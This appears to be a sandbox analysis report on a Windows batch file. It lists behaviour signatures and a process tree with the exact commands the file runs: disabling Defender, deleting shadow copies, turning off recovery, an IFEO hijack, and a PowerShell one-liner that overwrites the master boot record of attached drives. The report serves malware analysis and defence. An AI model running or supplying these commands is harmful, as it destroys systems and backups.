Analysis

  • max time kernel
    149s
  • max time network
    93s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    30/04/2026, 21:55

General

  • Target
    deepseek_batch_20260430_17ff89.bat
  • Size 17KB
  • Sample260430-1stdzsew4p
  • SHA256 fe830d203725757f94e0d033178457cf16a79454b6a5290546b11a39c3bee3ce
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs
  • Disables Task Manager via registry modification
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs
  • Stops running service(s) 4 TTPs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Delays execution with timeout.exe 4 IoCs
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260430_17ff89.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5904
    • C:\Windows\system32\mode.com
      mode con: cols=120 lines=40
      2⤵
        PID:4788
      • C:\Windows\system32\net.exe
        net session
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:6056
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          3⤵
            PID:6096
        • C:\Windows\system32\timeout.exe
          timeout /t 2 /nobreak
          2⤵
          • Delays execution with timeout.exe
          PID:5680
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im MsMpEng.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:6100
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im NisSrv.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:920
        • C:\Windows\system32\sc.exe
          sc stop WinDefend
          2⤵
          • Launches sc.exe
          PID:3960
        • C:\Windows\system32\sc.exe
          sc stop wscsvc
          2⤵
          • Launches sc.exe
          PID:2748
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
          2⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          PID:5536
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled No
          2⤵
          • Modifies boot configuration data using bcdedit
          PID:5800
        • C:\Windows\system32\ReAgentc.exe
          reagentc /disable
          2⤵
          • Drops file in System32 directory
          • Drops file in Windows directory
          PID:3112
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          2⤵
          • Interacts with shadow copies
          PID:4176
        • C:\Windows\system32\timeout.exe
          timeout /t 1 /nobreak
          2⤵
          • Delays execution with timeout.exe
          PID:3828
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
          2⤵
            PID:4064
          • C:\Windows\system32\reg.exe
            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
            2⤵
              PID:5428
            • C:\Windows\system32\reg.exe
              reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
              2⤵
                PID:3160
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f
                2⤵
                • Event Triggered Execution: Image File Execution Options Injection
                PID:2244
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\block.ps1"
                2⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:5484
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vvb05lss\vvb05lss.cmdline"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1872
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2A.tmp" "c:\Users\Admin\AppData\Local\Temp\vvb05lss\CSC184F9DFD25A4BAEBD3B33A375D12195.TMP"
                    4⤵
                      PID:6116
                • C:\Windows\system32\timeout.exe
                  timeout /t 1 /nobreak
                  2⤵
                  • Delays execution with timeout.exe
                  PID:5924
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "$t='snowsday on top';$b=[Text.Encoding]::ASCII.GetBytes($t);for($d=0;$d -lt 10;$d++){try{$f=[IO.File]::Open('\\.\PhysicalDrive'+$d,[IO.FileMode]::Open,[IO.FileAccess]::ReadWrite);$s=[byte[]]::new(512);$r=New-Object Random;$r.NextBytes($s);for($i=0;$i -lt $b.Length;$i++){$s[$i]=$b[$i]};$s[510]=0x55;$s[511]=0xAA;$f.Write($s,0,512);$f.Close()}catch{}}"
                  2⤵
                  • Writes to the Master Boot Record (MBR)
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:992
                • C:\Windows\system32\timeout.exe
                  timeout /t 1 /nobreak
                  2⤵
                  • Delays execution with timeout.exe
                  PID:3640
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c dir /s /b "C:\Windows\Microsoft.NET\Framework\csc.exe" 2>nul
                  2⤵
                    PID:3912
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5452

                Network

                      MITRE ATT&CK Enterprise v16

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                      Downloads

                      RES2A.tmp

                      • Path C:\Users\Admin\AppData\Local\Temp\RES2A.tmp
                      • Size 1KB
                      • SHA256 263818b2d09c23e10616ed48e4d2a57f8d95e0f0b6a8eeb0dd428c2ec7dfc94a
                      • MD5 SHA1 SHA512 TLSH

                      __PSScriptPolicyTest_j4sxzew0.d4z.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j4sxzew0.d4z.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      block.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\block.ps1
                      • Size 211B
                      • SHA256 283a07d8ef78955fc55bd417d495655d1049d05d250abf2870182794abc94eea
                      • MD5 SHA1 SHA512 TLSH

                      vvb05lss.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\vvb05lss\vvb05lss.dll
                      • Size 3KB
                      • SHA256 ebff34485110f6e59442068a35b2c0d1bb433865ee318a606f40a91a17c1abe3
                      • MD5 SHA1 SHA512 TLSH

                      CSC184F9DFD25A4BAEBD3B33A375D12195.TMP

                      • Path \??\c:\Users\Admin\AppData\Local\Temp\vvb05lss\CSC184F9DFD25A4BAEBD3B33A375D12195.TMP
                      • Size 652B
                      • SHA256 c3e618e2a261b92b38f4d6fd6de7ddde11ea2530bdd9a83bec1d464d08c07ece
                      • MD5 SHA1 SHA512 TLSH

                      vvb05lss.0.cs

                      • Path \??\c:\Users\Admin\AppData\Local\Temp\vvb05lss\vvb05lss.0.cs
                      • Size 182B
                      • SHA256 e3de965de9da39ddea9892f3092789ed9cbf56a71220d02275cc3eb3109af233
                      • MD5 SHA1 SHA512 TLSH

                      vvb05lss.cmdline

                      • Path \??\c:\Users\Admin\AppData\Local\Temp\vvb05lss\vvb05lss.cmdline
                      • Size 369B
                      • SHA256 14151ed07130bf884e4642b3fe5519dac9e92529b52010a76856466f038e2da9
                      • MD5 SHA1 SHA512 TLSH

                      memory/992-39-0x000001CEAD530000-0x000001CEAD53C000-memory.dmp

                      memory/992-40-0x000001CEC5C40000-0x000001CEC5C52000-memory.dmp

                      memory/1872-28-0x00000279C34B0000-0x00000279C34BC000-memory.dmp

                      memory/5484-8-0x000001CFE8D30000-0x000001CFE8D52000-memory.dmp

                      memory/5484-30-0x000001CFE8FC0000-0x000001CFE8FC8000-memory.dmp

                      memory/5484-41-0x000001CFE8650000-0x000001CFE865C000-memory.dmp

                      memory/5484-42-0x000001CFE8C60000-0x000001CFE8C72000-memory.dmp

                      memory/6116-25-0x0000024A79570000-0x0000024A7957C000-memory.dmp